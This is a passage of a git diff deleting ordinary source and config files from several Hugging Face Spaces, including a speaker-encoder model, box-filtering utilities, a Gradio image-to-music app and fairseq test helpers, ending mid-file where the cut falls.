a/spaces/MichaelWelsch/FreeVC/speaker_encoder/model.py b/spaces/MichaelWelsch/FreeVC/speaker_encoder/model.py deleted file mode 100644 index c022b663ee5c344c52041026bc88dc02734afa33..0000000000000000000000000000000000000000 --- a/spaces/MichaelWelsch/FreeVC/speaker_encoder/model.py +++ /dev/null @@ -1,135 +0,0 @@ -from speaker_encoder.params_model import * -from speaker_encoder.params_data import * -from scipy.interpolate import interp1d -from sklearn.metrics import roc_curve -from torch.nn.utils import clip_grad_norm_ -from scipy.optimize import brentq -from torch import nn -import numpy as np -import torch - - -class SpeakerEncoder(nn.Module): - def __init__(self, device, loss_device): - super().__init__() - self.loss_device = loss_device - - # Network defition - self.lstm = nn.LSTM(input_size=mel_n_channels, # 40 - hidden_size=model_hidden_size, # 256 - num_layers=model_num_layers, # 3 - batch_first=True).to(device) - self.linear = nn.Linear(in_features=model_hidden_size, - out_features=model_embedding_size).to(device) - self.relu = torch.nn.ReLU().to(device) - - # Cosine similarity scaling (with fixed initial parameter values) - self.similarity_weight = nn.Parameter(torch.tensor([10.])).to(loss_device) - self.similarity_bias = nn.Parameter(torch.tensor([-5.])).to(loss_device) - - # Loss - self.loss_fn = nn.CrossEntropyLoss().to(loss_device) - - def do_gradient_ops(self): - # Gradient scale - self.similarity_weight.grad *= 0.01 - self.similarity_bias.grad *= 0.01 - - # Gradient clipping - clip_grad_norm_(self.parameters(), 3, norm_type=2) - - def forward(self, utterances, hidden_init=None): - """ - Computes the embeddings of a batch of utterance spectrograms. - - :param utterances: batch of mel-scale filterbanks of same duration as a tensor of shape - (batch_size, n_frames, n_channels) - :param hidden_init: initial hidden state of the LSTM as a tensor of shape (num_layers, - batch_size, hidden_size). Will default to a tensor of zeros if None. - :return: the embeddings as a tensor of shape (batch_size, embedding_size) - """ - # Pass the input through the LSTM layers and retrieve all outputs, the final hidden state - # and the final cell state. - out, (hidden, cell) = self.lstm(utterances, hidden_init) - - # We take only the hidden state of the last layer - embeds_raw = self.relu(self.linear(hidden[-1])) - - # L2-normalize it - embeds = embeds_raw / torch.norm(embeds_raw, dim=1, keepdim=True) - - return embeds - - def similarity_matrix(self, embeds): - """ - Computes the similarity matrix according the section 2.1 of GE2E. - - :param embeds: the embeddings as a tensor of shape (speakers_per_batch, - utterances_per_speaker, embedding_size) - :return: the similarity matrix as a tensor of shape (speakers_per_batch, - utterances_per_speaker, speakers_per_batch) - """ - speakers_per_batch, utterances_per_speaker = embeds.shape[:2] - - # Inclusive centroids (1 per speaker). Cloning is needed for reverse differentiation - centroids_incl = torch.mean(embeds, dim=1, keepdim=True) - centroids_incl = centroids_incl.clone() / torch.norm(centroids_incl, dim=2, keepdim=True) - - # Exclusive centroids (1 per utterance) - centroids_excl = (torch.sum(embeds, dim=1, keepdim=True) - embeds) - centroids_excl /= (utterances_per_speaker - 1) - centroids_excl = centroids_excl.clone() / torch.norm(centroids_excl, dim=2, keepdim=True) - - # Similarity matrix. The cosine similarity of already 2-normed vectors is simply the dot - # product of these vectors (which is just an element-wise multiplication reduced by a sum). - # We vectorize the computation for efficiency. - sim_matrix = torch.zeros(speakers_per_batch, utterances_per_speaker, - speakers_per_batch).to(self.loss_device) - mask_matrix = 1 - np.eye(speakers_per_batch, dtype=np.int) - for j in range(speakers_per_batch): - mask = np.where(mask_matrix[j])[0] - sim_matrix[mask, :, j] = (embeds[mask] * centroids_incl[j]).sum(dim=2) - sim_matrix[j, :, j] = (embeds[j] * centroids_excl[j]).sum(dim=1) - - ## Even more vectorized version (slower maybe because of transpose) - # sim_matrix2 = torch.zeros(speakers_per_batch, speakers_per_batch, utterances_per_speaker - # ).to(self.loss_device) - # eye = np.eye(speakers_per_batch, dtype=np.int) - # mask = np.where(1 - eye) - # sim_matrix2[mask] = (embeds[mask[0]] * centroids_incl[mask[1]]).sum(dim=2) - # mask = np.where(eye) - # sim_matrix2[mask] = (embeds * centroids_excl).sum(dim=2) - # sim_matrix2 = sim_matrix2.transpose(1, 2) - - sim_matrix = sim_matrix * self.similarity_weight + self.similarity_bias - return sim_matrix - - def loss(self, embeds): - """ - Computes the softmax loss according the section 2.1 of GE2E. - - :param embeds: the embeddings as a tensor of shape (speakers_per_batch, - utterances_per_speaker, embedding_size) - :return: the loss and the EER for this batch of embeddings. - """ - speakers_per_batch, utterances_per_speaker = embeds.shape[:2] - - # Loss - sim_matrix = self.similarity_matrix(embeds) - sim_matrix = sim_matrix.reshape((speakers_per_batch * utterances_per_speaker, - speakers_per_batch)) - ground_truth = np.repeat(np.arange(speakers_per_batch), utterances_per_speaker) - target = torch.from_numpy(ground_truth).long().to(self.loss_device) - loss = self.loss_fn(sim_matrix, target) - - # EER (not backpropagated) - with torch.no_grad(): - inv_argmax = lambda i: np.eye(1, speakers_per_batch, i, dtype=np.int)[0] - labels = np.array([inv_argmax(i) for i in ground_truth]) - preds = sim_matrix.detach().cpu().numpy() - - # Snippet from https://yangcha.github.io/EER-ROC/ - fpr, tpr, thresholds = roc_curve(labels.flatten(), preds.flatten()) - eer = brentq(lambda x: 1. - x - interp1d(fpr, tpr)(x), 0., 1.) - - return loss, eer \ No newline at end of file diff --git a/spaces/MuGeminorum/insecta/khandy/boxes/boxes_filter.py b/spaces/MuGeminorum/insecta/khandy/boxes/boxes_filter.py deleted file mode 100644 index 59803b290c6374a7e4136ce56f727ca8d87d7044..0000000000000000000000000000000000000000 --- a/spaces/MuGeminorum/insecta/khandy/boxes/boxes_filter.py +++ /dev/null @@ -1,113 +0,0 @@ -import numpy as np - - -def filter_small_boxes(boxes, min_width, min_height): - """Filters all boxes with side smaller than min size. - - Args: - boxes: a numpy array with shape [N, 4] holding N boxes. - min_width (float): minimum width - min_height (float): minimum height - - Returns: - keep: indices of the boxes that have width larger than - min_width and height larger than min_height. - - References: - `_filter_boxes` in py-faster-rcnn - `prune_small_boxes` in TensorFlow object detection API. - `structures.Boxes.nonempty` in detectron2 - `ops.boxes.remove_small_boxes` in torchvision - """ - widths = boxes[:, 2] - boxes[:, 0] - heights = boxes[:, 3] - boxes[:, 1] - # keep represents indices to keep, - # mask represents bool ndarray, so use mask here. - mask = (widths >= min_width) - mask &= (heights >= min_height) - return np.nonzero(mask)[0] - - -def filter_boxes_outside(boxes, reference_box): - """Filters bounding boxes that fall outside reference box. - - References: - `prune_outside_window` in TensorFlow object detection API. - """ - x_min, y_min, x_max, y_max = reference_box[:4] - mask = ((boxes[:, 0] >= x_min) & (boxes[:, 1] >= y_min) & - (boxes[:, 2] <= x_max) & (boxes[:, 3] <= y_max)) - return np.nonzero(mask)[0] - - -def filter_boxes_completely_outside(boxes, reference_box): - """Filters bounding boxes that fall completely outside of reference box. - - References: - `prune_completely_outside_window` in TensorFlow object detection API. - """ - x_min, y_min, x_max, y_max = reference_box[:4] - mask = ((boxes[:, 0] < x_max) & (boxes[:, 1] < y_max) & - (boxes[:, 2] > x_min) & (boxes[:, 3] > y_min)) - return np.nonzero(mask)[0] - - -def non_max_suppression(boxes, scores, thresh, classes=None, ratio_type="iou"): - """Greedily select boxes with high confidence - Args: - boxes: [[x_min, y_min, x_max, y_max], ...] - scores: object confidence - thresh: retain overlap_ratio <= thresh - classes: class labels - - Returns: - indices to keep - - References: - `py_cpu_nms` in py-faster-rcnn - torchvision.ops.nms - torchvision.ops.batched_nms - """ - - if boxes.size == 0: - return np.empty((0,), dtype=np.int64) - if classes is not None: - # strategy: in order to perform NMS independently per class, - # we add an offset to all the boxes. The offset is dependent - # only on the class idx, and is large enough so that boxes - # from different classes do not overlap - max_coordinate = np.max(boxes) - offsets = classes * (max_coordinate + 1) - boxes = boxes + offsets[:, None] - - x_mins = boxes[:, 0] - y_mins = boxes[:, 1] - x_maxs = boxes[:, 2] - y_maxs = boxes[:, 3] - areas = (x_maxs - x_mins) * (y_maxs - y_mins) - order = scores.flatten().argsort()[::-1] - - keep = [] - while order.size > 0: - i = order[0] - keep.append(i) - - max_x_mins = np.maximum(x_mins[i], x_mins[order[1:]]) - max_y_mins = np.maximum(y_mins[i], y_mins[order[1:]]) - min_x_maxs = np.minimum(x_maxs[i], x_maxs[order[1:]]) - min_y_maxs = np.minimum(y_maxs[i], y_maxs[order[1:]]) - widths = np.maximum(0, min_x_maxs - max_x_mins) - heights = np.maximum(0, min_y_maxs - max_y_mins) - intersect_areas = widths * heights - - if ratio_type in ["union", 'iou']: - ratio = intersect_areas / (areas[i] + areas[order[1:]] - intersect_areas) - elif ratio_type == "min": - ratio = intersect_areas / np.minimum(areas[i], areas[order[1:]]) - else: - raise ValueError('Unsupported ratio_type. Got {}'.format(ratio_type)) - - inds = np.nonzero(ratio <= thresh)[0] - order = order[inds + 1] - return np.asarray(keep) - \ No newline at end of file diff --git a/spaces/Mysterykey/todd/README.md b/spaces/Mysterykey/todd/README.md deleted file mode 100644 index 72ad6c6ca927b0bf56c6ff7e1fd4804bd931a598..0000000000000000000000000000000000000000 --- a/spaces/Mysterykey/todd/README.md +++ /dev/null @@ -1,9 +0,0 @@ ---- -title: todd -emoji: 🕶 -sdk: docker -pinned: false -duplicated_from: ---- - -Check out the configuration reference at https://huggingface.co/docs/hub/spaces-config-reference diff --git a/spaces/Nahidabyer/img-to-music/app.py b/spaces/Nahidabyer/img-to-music/app.py deleted file mode 100644 index 47c08012e979bd2dbff7ac6b2a0585fc5d916476..0000000000000000000000000000000000000000 --- a/spaces/Nahidabyer/img-to-music/app.py +++ /dev/null @@ -1,311 +0,0 @@ -import gradio as gr -import openai -import numpy as np -import time -import base64 -import ffmpeg -from sentence_transformers import SentenceTransformer -from audio2numpy import open_audio -import httpx -import json -import os -import requests -import urllib -import pydub -from os import path -from pydub import AudioSegment - -MUBERT_LICENSE = os.environ.get('MUBERT_LICENSE') -MUBERT_TOKEN = os.environ.get('MUBERT_TOKEN') - -#img_to_text = gr.Blocks.load(name="spaces/pharma/CLIP-Interrogator") -img_to_text = gr.Blocks.load(name="spaces/fffiloni/CLIP-Interrogator-2") - -from share_btn import community_icon_html, loading_icon_html, share_js -from utils import get_tags_for_prompts, get_mubert_tags_embeddings - -minilm = SentenceTransformer('all-MiniLM-L6-v2') -mubert_tags_embeddings = get_mubert_tags_embeddings(minilm) - -##———————————————————————————————————— - -MUBERT_LICENSE = os.environ.get('MUBERT_LICENSE') -MUBERT_TOKEN = os.environ.get('MUBERT_TOKEN') - -##———————————————————————————————————— -def get_pat_token(): - r = httpx.post('https://api-b2b.mubert.com/v2/GetServiceAccess', - json={ - "method": "GetServiceAccess", - "params": { - "email":"mail@mail.com", - "phone":"+11234567890", - "license": MUBERT_LICENSE, - "token": MUBERT_TOKEN, - - } - }) - - rdata = json.loads(r.text) - assert rdata['status'] == 1, "probably incorrect e-mail" - pat = rdata['data']['pat'] - #print(f"pat: {pat}") - return pat - -def get_music(pat, prompt, track_duration, gen_intensity, gen_mode): - - if len(prompt) > 200: - prompt = prompt[:200] - - r = httpx.post('https://api-b2b.mubert.com/v2/TTMRecordTrack', - json={ - "method": "TTMRecordTrack", - "params": - { - "text": prompt, - "pat": pat, - "mode":gen_mode, - "duration":track_duration, - "intensity": gen_intensity - } - }) - - rdata = json.loads(r.text) - - #print(f"rdata: {rdata}") - assert rdata['status'] == 1, rdata['error']['text'] - track = rdata['data']['tasks'][0]['download_link'] - print(track) - - local_file_path = "sample.mp3" - - # Download the MP3 file from the URL - headers = { - 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7; rv:93.0) Gecko/20100101 Firefox/93.0'} - - retries = 5 - delay = 5 # in seconds - while retries > 0: - response = requests.get(track, headers=headers) - if response.status_code == 200: - break - retries -= 1 - time.sleep(delay) - response = requests.get(track, headers=headers) - print(f"{response}") - # Save the downloaded content to a local file - with open(local_file_path, 'wb') as f: - f.write(response.content) - return "sample.mp3", track - - -def get_results(text_prompt,track_duration,gen_intensity,gen_mode): - pat_token = get_pat_token() - music = get_music(pat_token, text_prompt, track_duration, gen_intensity, gen_mode) - return pat_token, music[0], music[1] - -def get_prompts(uploaded_image, track_duration, gen_intensity, gen_mode, openai_api_key): - print("calling clip interrogator") - #prompt = img_to_text(uploaded_image, "ViT-L (best for Stable Diffusion 1.*)", "fast", fn_index=1)[0] - - prompt = img_to_text(uploaded_image, 'best', 4, fn_index=1)[0] - print(prompt) - musical_prompt = 'You did not use any OpenAI API key to pimp your result :)' - if openai_api_key != None: - gpt_adaptation = try_api(prompt, openai_api_key) - if gpt_adaptation[0] != "oups": - musical_prompt = gpt_adaptation[0] - print(f"misical adapt: {musical_prompt}") - music_result = get_results(musical_prompt, track_duration, gen_intensity, gen_mode) - else: - music_result = get_results(prompt, track_duration, gen_intensity, gen_mode) - else: - music_result = get_results(prompt, track_duration, gen_intensity, gen_mode) - - show_prompts = f""" - CLIP Interrogator Caption: '{prompt}' - — - OpenAI Musical Adaptation: '{musical_prompt}' - — - Audio file link: {music_result[2]} - """ - #wave_file = convert_mp3_to_wav(music_result[1]) - - time.sleep(1) - return gr.Textbox.update(value=show_prompts, visible=True), music_result[1], gr.update(visible=True), gr.update(visible=True), gr.update(visible=True) - -def try_api(message, openai_api_key): - - try: - response = call_api(message, openai_api_key) - return response, "no error" - except openai.error.Timeout as e: - #Handle timeout error, e.g. retry or log - #print(f"OpenAI API request timed out: {e}") - return "oups", f"OpenAI API request timed out:
      {e}      " - except openai.error.APIError as e: - #Handle API error, e.g. retry or log - #print(f"OpenAI API returned an API Error: {e}") - return "oups", f"OpenAI API returned an API Error:
      {e}      " - except openai.error.APIConnectionError as e: - #Handle connection error, e.g. check network or log - #print(f"OpenAI API request failed to connect: {e}") - return "oups", f"OpenAI API request failed to connect:
      {e}      " - except openai.error.InvalidRequestError as e: - #Handle invalid request error, e.g. validate parameters or log - #print(f"OpenAI API request was invalid: {e}") - return "oups", f"OpenAI API request was invalid:
      {e}      " - except openai.error.AuthenticationError as e: - #Handle authentication error, e.g. check credentials or log - #print(f"OpenAI API request was not authorized: {e}") - return "oups", f"OpenAI API request was not authorized:
      {e}      " - except openai.error.PermissionError as e: - #Handle permission error, e.g. check scope or log - #print(f"OpenAI API request was not permitted: {e}") - return "oups", f"OpenAI API request was not permitted:
      {e}      " - except openai.error.RateLimitError as e: - #Handle rate limit error, e.g. wait or log - #print(f"OpenAI API request exceeded rate limit: {e}") - return "oups", f"OpenAI API request exceeded rate limit:
      {e}      " - -def call_api(message, openai_api_key): - - instruction = "Convert in less than 200 characters this image caption to a very concise musical description with musical terms, as if you wanted to describe a musical ambiance, stricly in English" - - print("starting open ai") - augmented_prompt = f"{instruction}: '{message}'." - openai.api_key = openai_api_key - - response = openai.Completion.create( - model="text-davinci-003", - prompt=augmented_prompt, - temperature=0.5, - max_tokens=2048, - top_p=1, - frequency_penalty=0, - presence_penalty=0.6 - ) - - #print(response) - - #return str(response.choices[0].text).split("\n",2)[2] - return str(response.choices[0].text).lstrip('\n') - - -def get_track_by_tags(tags, pat, duration, gen_intensity, gen_mode, maxit=20): - - r = httpx.post('https://api-b2b.mubert.com/v2/RecordTrackTTM', - json={ - "method": "RecordTrackTTM", - "params": { - "pat": pat, - "duration": duration, - "format": "wav", - "intensity":gen_intensity, - "tags": tags, - "mode": gen_mode - } - }) - - rdata = json.loads(r.text) - print(rdata) - #assert rdata['status'] == 1, rdata['error']['text'] - trackurl = rdata['data']['tasks'][0] - - print('Generating track ', end='') - for i in range(maxit): - r = httpx.get(trackurl) - if r.status_code == 200: - return trackurl - time.sleep(1) - - -def generate_track_by_prompt(pat, prompt, duration, gen_intensity, gen_mode): - try: - _, tags = get_tags_for_prompts(minilm, mubert_tags_embeddings, prompt)[0] - result = get_track_by_tags(tags, pat, int(duration), gen_intensity, gen_mode) - print(result) - return result, ",".join(tags), "Success" - except Exception as e: - return None, "", str(e) - -def convert_mp3_to_wav(mp3_filepath): - - wave_file="file.wav" - - sound = AudioSegment.from_mp3(mp3_filepath) - sound.export(wave_file, format="wav") - - return wave_file - -article = """ - -
      -

      - - Follow Sylvain Filoni for future updates 🤗 -

      -
      - -
      -

      You may also like:

      -
      - - - - - -
      -
      - - -""" - -with gr.Blocks(css="style.css") as demo: - with gr.Column(elem_id="col-container"): - - gr.HTML("""
      -
      -

      - Image to Music -

      -
      -

      - Sends an image in to CLIP Interrogator - to generate a text prompt which is then run through - Mubert text-to-music to generate music from the input image! -

      -
      """) - - input_img = gr.Image(type="filepath", elem_id="input-img") - prompts_out = gr.Textbox(label="Text Captions", visible=False, info="If player do not work, try to copy/paste the link in a new browser window") - music_output = gr.Audio(label="Result", type="filepath", elem_id="music-output").style(height="5rem") - #music_url = gr.Textbox(max_lines=1, info="If player do not work, try to copy/paste the link in a new browser window") - #text_status = gr.Textbox(label="status") - with gr.Group(elem_id="share-btn-container"): - community_icon = gr.HTML(community_icon_html, visible=False) - loading_icon = gr.HTML(loading_icon_html, visible=False) - share_button = gr.Button("Share to community", elem_id="share-btn", visible=False) - - with gr.Accordion(label="Music Generation Options", open=False): - openai_api_key = gr.Textbox(type="password", label="🔐 Your OpenAI API Key (optional)", placeholder="sk-123abc...", info="You can use your OpenAI key to adapt CLIP Interrogator caption to a musical translation.") - track_duration = gr.Slider(minimum=20, maximum=120, value=55, ustep=5, label="Track duration", elem_id="duration-inp") - with gr.Row(): - gen_intensity = gr.Dropdown(choices=["low", "medium", "high"], value="medium", label="Intensity") - gen_mode = gr.Radio(label="mode", choices=["track", "loop"], value="loop") - - generate = gr.Button("Generate Music from Image") - - gr.HTML(article) - - generate.click(get_prompts, inputs=[input_img,track_duration,gen_intensity,gen_mode, openai_api_key], outputs=[prompts_out, music_output, share_button, community_icon, loading_icon], api_name="i2m") - share_button.click(None, [], [], _js=share_js) - -demo.queue(max_size=32).launch() \ No newline at end of file diff --git a/spaces/Nee001/bing0/src/components/chat-scroll-anchor.tsx b/spaces/Nee001/bing0/src/components/chat-scroll-anchor.tsx deleted file mode 100644 index ac809f4486a48e134cb69314c3d0dae5e68d614e..0000000000000000000000000000000000000000 --- a/spaces/Nee001/bing0/src/components/chat-scroll-anchor.tsx +++ /dev/null @@ -1,29 +0,0 @@ -'use client' - -import * as React from 'react' -import { useInView } from 'react-intersection-observer' - -import { useAtBottom } from '@/lib/hooks/use-at-bottom' - -interface ChatScrollAnchorProps { - trackVisibility?: boolean -} - -export function ChatScrollAnchor({ trackVisibility }: ChatScrollAnchorProps) { - const isAtBottom = useAtBottom() - const { ref, entry, inView } = useInView({ - trackVisibility, - delay: 100, - rootMargin: '0px 0px -150px 0px' - }) - - React.useEffect(() => { - if (isAtBottom && trackVisibility && !inView) { - entry?.target.scrollIntoView({ - block: 'start' - }) - } - }, [inView, entry, isAtBottom, trackVisibility]) - - return
      -} diff --git a/spaces/NeuralInternet/Text-Generation_Playground/run.py b/spaces/NeuralInternet/Text-Generation_Playground/run.py deleted file mode 100644 index db2d0b999e9e7651ce77984600bae10c4b8ce085..0000000000000000000000000000000000000000 --- a/spaces/NeuralInternet/Text-Generation_Playground/run.py +++ /dev/null @@ -1,7 +0,0 @@ -import os -# os.system('python download-model.py PygmalionAI/pygmalion-350m --branch main') -os.system('python download-model.py EleutherAI/gpt-neo-1.3B --branch main') -# os.system('python download-model.py EleutherAI/gpt-neo-2.7B --branch main') -# os.system('python download-model.py waifu-workshop/pygmalion-6b --branch original-sharded') -# os.system('python server.py --cpu --cai-chat --model pygmalion-350m') -os.system('python server.py --model gpt-neo-1.3B') \ No newline at end of file diff --git a/spaces/Niansuh/Image/README.md b/spaces/Niansuh/Image/README.md deleted file mode 100644 index bfd5645cb6d4ff8197bec89298f4e89d2d60f27b..0000000000000000000000000000000000000000 --- a/spaces/Niansuh/Image/README.md +++ /dev/null @@ -1,13 +0,0 @@ ---- -title: Image | Niansuh -emoji: 🖼️ -colorFrom: red -colorTo: gray -sdk: gradio -sdk_version: 3.23.0 -app_file: app.py -pinned: true -duplicated_from: allknowingroger/Image-Models-Test26 ---- - - \ No newline at end of file diff --git a/spaces/Niansuh/chat/README.md b/spaces/Niansuh/chat/README.md deleted file mode 100644 index ea3aab9c79c6480b8448d95aa36f1105de518668..0000000000000000000000000000000000000000 --- a/spaces/Niansuh/chat/README.md +++ /dev/null @@ -1,11 +0,0 @@ ---- -title: ChatGPT | Niansuh -emoji: 🤖 -colorFrom: blue -colorTo: yellow -sdk: docker -pinned: true -disable_embedding: true -license: mit -app_port: 3000 ---- \ No newline at end of file diff --git a/spaces/Nyari/Super-Resolution-Anime-Diffusion/RealESRGANv030/realesrgan/__init__.py b/spaces/Nyari/Super-Resolution-Anime-Diffusion/RealESRGANv030/realesrgan/__init__.py deleted file mode 100644 index 2276f1eecded80d1f00ff97b45c66c7a8922b987..0000000000000000000000000000000000000000 --- a/spaces/Nyari/Super-Resolution-Anime-Diffusion/RealESRGANv030/realesrgan/__init__.py +++ /dev/null @@ -1,6 +0,0 @@ -# flake8: noqa -from .archs import * -from .data import * -from .models import * -from .utils import * -from .version import * diff --git a/spaces/OFA-Sys/OFA-Generic_Interface/fairseq/CONTRIBUTING.md b/spaces/OFA-Sys/OFA-Generic_Interface/fairseq/CONTRIBUTING.md deleted file mode 100644 index 3930c46196b7b6082cacc76fd5808b49677ae805..0000000000000000000000000000000000000000 --- a/spaces/OFA-Sys/OFA-Generic_Interface/fairseq/CONTRIBUTING.md +++ /dev/null @@ -1,28 +0,0 @@ -# Contributing to Facebook AI Research Sequence-to-Sequence Toolkit (fairseq) -We want to make contributing to this project as easy and transparent as -possible. - -## Pull Requests -We actively welcome your pull requests. - -1. Fork the repo and create your branch from `main`. -2. If you've added code that should be tested, add tests. -3. If you've changed APIs, update the documentation. -4. Ensure the test suite passes. -5. Make sure your code lints. -6. If you haven't already, complete the Contributor License Agreement ("CLA"). - -## Contributor License Agreement ("CLA") -In order to accept your pull request, we need you to submit a CLA. You only need -to do this once to work on any of Facebook's open source projects. - -Complete your CLA here: - -## Issues -We use GitHub issues to track public bugs. Please ensure your description is -clear and has sufficient instructions to be able to reproduce the issue. - -## License -By contributing to Facebook AI Research Sequence-to-Sequence Toolkit (fairseq), -you agree that your contributions will be licensed under the LICENSE file in -the root directory of this source tree. diff --git a/spaces/OFA-Sys/OFA-Image_Caption/fairseq/tests/utils.py b/spaces/OFA-Sys/OFA-Image_Caption/fairseq/tests/utils.py deleted file mode 100644 index 6e0c709517aea570acb36901dd47bc12a3025b07..0000000000000000000000000000000000000000 --- a/spaces/OFA-Sys/OFA-Image_Caption/fairseq/tests/utils.py +++ /dev/null @@ -1,717 +0,0 @@ -# Copyright (c) Facebook, Inc. and its affiliates. -# -# This source code is licensed under the MIT license found in the -# LICENSE file in the root directory of this source tree. - -import argparse -import json -import os -import random -import sys -from io import StringIO - -import torch -import torch.nn.functional as F -from fairseq import options, utils -from fairseq.data import Dictionary -from fairseq.data.language_pair_dataset import collate -from fairseq.models import ( - FairseqEncoder, - FairseqEncoderDecoderModel, - FairseqIncrementalDecoder, -) -from fairseq.models.fairseq_encoder import EncoderOut -from fairseq.tasks import LegacyFairseqTask -from fairseq_cli import generate, interactive, preprocess, train, validate -import fairseq.distributed.utils as distributed_utils -from fairseq.dataclass.utils import convert_namespace_to_omegaconf - - -def dummy_dictionary(vocab_size, prefix="token_"): - d = Dictionary() - for i in range(vocab_size): - token = prefix + str(i) - d.add_symbol(token) - d.finalize(padding_factor=1) # don't add extra padding symbols - return d - - -def dummy_dataloader( - samples, padding_idx=1, eos_idx=2, batch_size=None, -): - if batch_size is None: - batch_size = len(samples) - - # add any missing data to samples - for i, sample in enumerate(samples): - if "id" not in sample: - sample["id"] = i - - # create dataloader - dataset = TestDataset(samples) - dataloader = torch.utils.data.DataLoader( - dataset, - batch_size=batch_size, - collate_fn=(lambda samples: collate(samples, padding_idx, eos_idx)), - ) - return iter(dataloader) - - -def sequence_generator_setup(): - # construct dummy dictionary - d = dummy_dictionary(vocab_size=2) - - eos = d.eos() - w1 = 4 - w2 = 5 - - # construct source data - src_tokens = torch.LongTensor([[w1, w2, eos], [w1, w2, eos]]) - src_lengths = torch.LongTensor([2, 2]) - - args = argparse.Namespace() - unk = 0.0 - args.beam_probs = [ - # step 0: - torch.FloatTensor( - [ - # eos w1 w2 - # sentence 1: - [0.0, unk, 0.9, 0.1], # beam 1 - [0.0, unk, 0.9, 0.1], # beam 2 - # sentence 2: - [0.0, unk, 0.7, 0.3], - [0.0, unk, 0.7, 0.3], - ] - ), - # step 1: - torch.FloatTensor( - [ - # eos w1 w2 prefix - # sentence 1: - [1.0, unk, 0.0, 0.0], # w1: 0.9 (emit: w1 : 0.9*1.0) - [0.0, unk, 0.9, 0.1], # w2: 0.1 - # sentence 2: - [0.25, unk, 0.35, 0.4], # w1: 0.7 (don't emit: w1 : 0.7*0.25) - [0.00, unk, 0.10, 0.9], # w2: 0.3 - ] - ), - # step 2: - torch.FloatTensor( - [ - # eos w1 w2 prefix - # sentence 1: - [0.0, unk, 0.1, 0.9], # w2 w1: 0.1*0.9 - [ - 0.6, - unk, - 0.2, - 0.2, - ], # w2 w2: 0.1*0.1 (emit: w2 w2 : 0.1*0.1*0.6) - # sentence 2: - [ - 0.60, - unk, - 0.4, - 0.00, - ], # w1 w2: 0.7*0.4 (emit: w1 w2 : 0.7*0.4*0.6) - [0.01, unk, 0.0, 0.99], # w2 w2: 0.3*0.9 - ] - ), - # step 3: - torch.FloatTensor( - [ - # eos w1 w2 prefix - # sentence 1: - [ - 1.0, - unk, - 0.0, - 0.0, - ], # w2 w1 w2: 0.1*0.9*0.9 (emit: w2 w1 w2 : 0.1*0.9*0.9*1.0) - [ - 1.0, - unk, - 0.0, - 0.0, - ], # w2 w1 w1: 0.1*0.9*0.1 (emit: w2 w1 w1 : 0.1*0.9*0.1*1.0) - # sentence 2: - [ - 0.1, - unk, - 0.5, - 0.4, - ], # w2 w2 w2: 0.3*0.9*0.99 (emit: w2 w2 w2 : 0.3*0.9*0.99*0.1) - [ - 1.0, - unk, - 0.0, - 0.0, - ], # w1 w2 w1: 0.7*0.4*0.4 (emit: w1 w2 w1 : 0.7*0.4*0.4*1.0) - ] - ), - ] - - task = TestTranslationTask.setup_task(args, d, d) - model = task.build_model(args) - tgt_dict = task.target_dictionary - - return tgt_dict, w1, w2, src_tokens, src_lengths, model - - -def create_dummy_data(data_dir, num_examples=100, maxlen=20, alignment=False): - def _create_dummy_data(filename): - data = torch.rand(num_examples * maxlen) - data = 97 + torch.floor(26 * data).int() - with open(os.path.join(data_dir, filename), "w") as h: - offset = 0 - for _ in range(num_examples): - ex_len = random.randint(1, maxlen) - ex_str = " ".join(map(chr, data[offset : offset + ex_len])) - print(ex_str, file=h) - offset += ex_len - - def _create_dummy_alignment_data(filename_src, filename_tgt, filename): - with open(os.path.join(data_dir, filename_src), "r") as src_f, open( - os.path.join(data_dir, filename_tgt), "r" - ) as tgt_f, open(os.path.join(data_dir, filename), "w") as h: - for src, tgt in zip(src_f, tgt_f): - src_len = len(src.split()) - tgt_len = len(tgt.split()) - avg_len = (src_len + tgt_len) // 2 - num_alignments = random.randint(avg_len // 2, 2 * avg_len) - src_indices = torch.floor(torch.rand(num_alignments) * src_len).int() - tgt_indices = torch.floor(torch.rand(num_alignments) * tgt_len).int() - ex_str = " ".join( - [ - "{}-{}".format(src, tgt) - for src, tgt in zip(src_indices, tgt_indices) - ] - ) - print(ex_str, file=h) - - _create_dummy_data("train.in") - _create_dummy_data("train.out") - _create_dummy_data("valid.in") - _create_dummy_data("valid.out") - _create_dummy_data("test.in") - _create_dummy_data("test.out") - - if alignment: - _create_dummy_alignment_data("train.in", "train.out", "train.align") - _create_dummy_alignment_data("valid.in", "valid.out", "valid.align") - _create_dummy_alignment_data("test.in", "test.out", "test.align") - - -def preprocess_lm_data(data_dir): - preprocess_parser = options.get_preprocessing_parser() - preprocess_args = preprocess_parser.parse_args( - [ - "--only-source", - "--trainpref", - os.path.join(data_dir, "train.out"), - "--validpref", - os.path.join(data_dir, "valid.out"), - "--testpref", - os.path.join(data_dir, "test.out"), - "--destdir", - data_dir, - ] - ) - preprocess.main(preprocess_args) - - -def preprocess_translation_data(data_dir, extra_flags=None): - preprocess_parser = options.get_preprocessing_parser() - preprocess_args = preprocess_parser.parse_args( - [ - "--source-lang", - "in", - "--target-lang", - "out", - "--trainpref", - os.path.join(data_dir, "train"), - "--validpref", - os.path.join(data_dir, "valid"), - "--testpref", - os.path.join(data_dir, "test"), - "--thresholdtgt", - "0", - "--thresholdsrc", - "0", - "--destdir", - data_dir, - ] - + (extra_flags or []), - ) - preprocess.main(preprocess_args) - - -def preprocess_summarization_data(data_dir, extra_flags=None): - preprocess_parser = options.get_preprocessing_parser() - preprocess_args = preprocess_parser.parse_args( - [ - "--source-lang", - "in", - "--target-lang", - "out", - "--trainpref", - os.path.join(data_dir, "train"), - "--validpref", - os.path.join(data_dir, "valid"), - "--testpref", - os.path.join(data_dir, "test"), - "--thresholdtgt", - "0", - "--thresholdsrc", - "0", - "--joined-dictionary", - "--destdir", - data_dir, - ] - + (extra_flags or []), - ) - preprocess.main(preprocess_args) - - -def create_laser_data_and_config_json(data_dir): - src_langs = ["de", "fr", "ru", "tr", "zh"] - tgt_langs = ["en", "es"] - config_json = {} - config_train_json = [] - src_vocab = None - tgt_vocab = None - - for src_lang in src_langs: - for tgt_lang in tgt_langs: - langpair_folder = f"{src_lang}-{tgt_lang}" - - langpair_path = os.path.join(data_dir, langpair_folder) - os.mkdir(langpair_path) - create_dummy_data(langpair_path) - preprocess_translation_data(langpair_path, ["--dataset-impl", "cached"]) - - src_vocab = os.path.join(langpair_path, "dict.in.txt") - tgt_vocab = os.path.join(langpair_path, "dict.out.txt") - config_train_json.append( - { - "id": 0 if tgt_lang == "en" else 1, - "src": os.path.join(langpair_path, 